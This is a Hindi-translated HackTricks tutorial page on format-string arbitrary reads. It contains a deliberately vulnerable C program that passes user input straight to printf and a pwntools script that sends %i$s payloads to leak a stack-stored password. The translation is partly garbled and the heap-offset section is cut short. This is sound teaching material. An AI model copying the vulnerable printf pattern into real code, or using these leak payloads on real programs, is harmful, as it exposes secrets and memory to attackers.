Format Strings - Arbitrary Read Example

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Code

#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}

इसे निम्नलिखित के साथ कंपाइल करें:

clang -o fs-read fs-read.c -Wno-format-security

स्टैक से पढ़ें

stack_password स्टैक में स्टोर किया जाएगा क्योंकि यह एक स्थानीय चर है, इसलिए सिर्फ printf का दुरुपयोग करके स्टैक की सामग्री दिखाना पर्याप्त है। यह एक ऐसा उत्पीड़न है जिसमें पहले 100 स्थानों को लीक करने के लिए पासवर्ड्स स्टैक से निकालने के लिए किया जाता है:

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

छवि में दिखाया गया है कि हम 10वें स्थान से स्टैक से पासवर्ड लीक कर सकते हैं:

समान एक्सप्लॉइट चलाने पर लेकिन %s की बजाय %p के साथ हीप से पता लगाना संभव है स्टैक पर %5$p पर:

लीक किए गए पते और पासवर्ड के पते के बीच का अंतर है:

> print 0xaaaaaaac12b2 - 0xaaaaaaac0048
$1 = 0x126a

<

जानें AWS ह्किंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Last updated